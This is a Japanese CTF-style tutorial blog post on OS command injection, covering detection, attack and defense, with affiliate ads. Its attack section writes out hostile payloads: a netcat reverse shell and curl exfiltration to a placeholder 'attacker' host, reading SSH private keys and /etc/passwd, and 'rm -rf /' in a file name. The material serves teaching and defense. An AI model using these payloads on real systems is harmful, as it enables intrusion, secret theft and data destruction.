【コマンドインジェクション編】OSコマンドに混ざる悪意とRCEの経路|CTF思考フレームワーク #16
📖 この記事はシリーズの一部です
「CTF思考フレームワーク」 Web脆弱性編 #16 / 公開中 10記事 → シリーズ一覧を見る →
コマンドインジェクションは、Webアプリが裏でOSコマンドを呼ぶ場面で、攻撃者が「ついでに自分のコマンド」を実行させる攻撃。pingテスト、画像変換、PDF生成、ファイル圧縮…「サーバ側でCLIツールを叩く処理」がある場所はだいたい候補です🐚
「サーバが直接shellを叩いてる」っていう設計、思ってる以上に多いんですよ。便利さの裏側に脆弱性が眠っています。
OSコマンドに混じる悪意。古典だけど未だに刺さる定番脆弱性です🎯

OSコマンドへのユーザー入力混入はそのままRCE。古典中の古典だね💀
👀 観察フェーズ:まず何を見る?

まずアプリが外部コマンドを呼ぶ箇所を探す!画像処理、PDF生成、ping診断、アーカイブ展開が要注意🔍
入力値が「ファイル名」「ホスト名」「URL」として渡される箇所が特に怪しい。サニタイズ漏れがあれば一発でRCEです。

; lsとか| idを入れただけでサーバが実行しちゃうケースが今もあるんだね…😱
🤔 仮説フェーズ:攻撃者は何を考える?

コマンドインジェクションの典型は4ジャンル。
攻撃者の仮説。
🔗 仮説①:シェルメタ文字の混入
;、|、&&、$()、` `などで追加コマンドを連結できる。
⚡ 仮説②:引数オプションの追加
コマンドに対して--execや-o ProxyCommandのような危険なオプションを渡す(curl、ssh、tar、zipなど)。
🤐 仮説③:Blind型(出力非表示)
レスポンスに結果が出なくても、sleep 5やnslookup、curlで時間差・外部通信から実行を確認できる。
📦 仮説④:ファイル名・引数経由
ファイル名に; rm -rf /を仕込んだりZip Slipのように展開時に評価される入力から侵入。
コマンドインジェクションは「シェルが解釈する文字」を埋め込む攻撃。サニタイズの完全性が命です。

シェルメタ文字を1文字でも通したら負けって覚えておこう💧
🔬 検証フェーズ:どうやって確かめる?

まず; sleep 10を投げてレスポンスが10秒遅れるか観察!Blindでも検出できる王道🧪
検証ステップ。

; nslookup attacker.comでDNSログに痕跡が残ったら、Out-of-Band確認できるね🌐
⚔️ 攻撃フェーズ:実際の手口

コマンドインジェクション攻撃はこの3つが定番。
実戦シナリオ。
file.png; nc attacker 4444 -e /bin/shのように追加コマンドでリバースシェルを取得。
; cat /etc/passwd /root/.ssh/id_rsaで秘密鍵・設定ファイルをレスポンスに混ぜる。
出力表示がなくても; curl http://attacker/?d=$(whoami)で外部に情報を吐き出す。
CTF{never_concat_user_input_into_shell}
原則は「ユーザー入力を文字列連結でシェルに渡さない」。これに尽きます。
🛡️ 防御フェーズ:どう守る?

コマンドインジェクション対策の3レイヤー!🛡️
防御の3原則。
shell=False(Python)や引数配列形式で呼ぶ。シェルパースを使わないのが最強の防御。
ファイル名・引数は英数字とハイフンのみのような厳格なホワイトリスト。;|&$\`を見たら即拒否。
Webプロセスは非rootユーザー&セルフコンテナで実行。RCEが起きてもDB認証情報まで届かないように。

「シェルを介さず、入力をホワイトリスト」これに尽きる💪
🛡️ 今日からできる対策ツール
パスワードの使い回しや手動管理はどんなに気をつけても限界があります。🔑 パスワード管理ツール「ワンパス」なら、複雑なパスワードを安全に保管して「1つのマスターパスワード」だけ覚えられるので、今日から始める防御策としてしっくりきます。
※ 上記は他社サービスへのリンクです。購入は各自でご判断ください。
⚠️ よくある落とし穴
よくあるミス。
- 「; だけブロック」して、| や $() を見逃す。
- escapeshellcmd() を使って安心するが、引数自体のエスケープが足りない。
- 配列引数で渡してもshell=Trueを残してしまう(Python subprocess)。
- ファイル名にユーザー入力をそのまま使い、空白やメタ文字を許す。
- ImageMagickのpolicy.xmlでMVG/MSL/EPSPなどを無効化していない。
- ブラックリスト方式(禁止文字列リスト)で抜け漏れが発生する。
🧰 ツール早見表
使う道具。
| ツール | 用途 | ひと言 |
|---|---|---|
| Burp Collaborator / Interactsh | 外部コールバック検出 | ブラインド検出の最強コンビ |
| commix | コマンドインジェクション自動エクスプロイト | ペイロード自動生成 |
| HackTricks Cheatsheet | 迂回テクニック集 | スペース禁止時の${IFS}等が網羅 |
🎓 本気で学びたい人へ
Webセキュリティを「趣味」から「仕事」に変えたい方へ。🎓 ササエルはインフラエンジニアに特化したオンラインスクールで、セキュリティ設計の基礎から体系的に学べます。
📚 もっと深く学びたい人へ
体系的に攻撃と防御の両面を学びたいなら『ホワイトハッカー入門 第2版』が分かりやすい入口です📚
📚 次に読みたい
- デシリアライズ編|CTF思考フレームワーク #15
- XXE編|CTF思考フレームワーク #17
- SSTI編|CTF思考フレームワーク #14
- HTTPリクエストスマグリング編|CTF思考フレームワーク #18
🧪 自分で検証してみる
「自分でWordPressサイトを立てて、ログイン畫面のセキュリティを実際に試してみたい」なら、まずは安価で高速なConoHa WINGから。初期費用無料で始められます。
⚖️ 大事なお約束
この記事の手法は、必ず自分の環境か、許可されたCTF・脆弱性報奨金プログラム(HackerOne、Bugcrowd等)で試してください。他人のサービスに無断で攻撃を仕掛けるのは不正アクセス禁止法違反、立派な犯罪です。学んだ知識は守る側で活かしましょう🤝



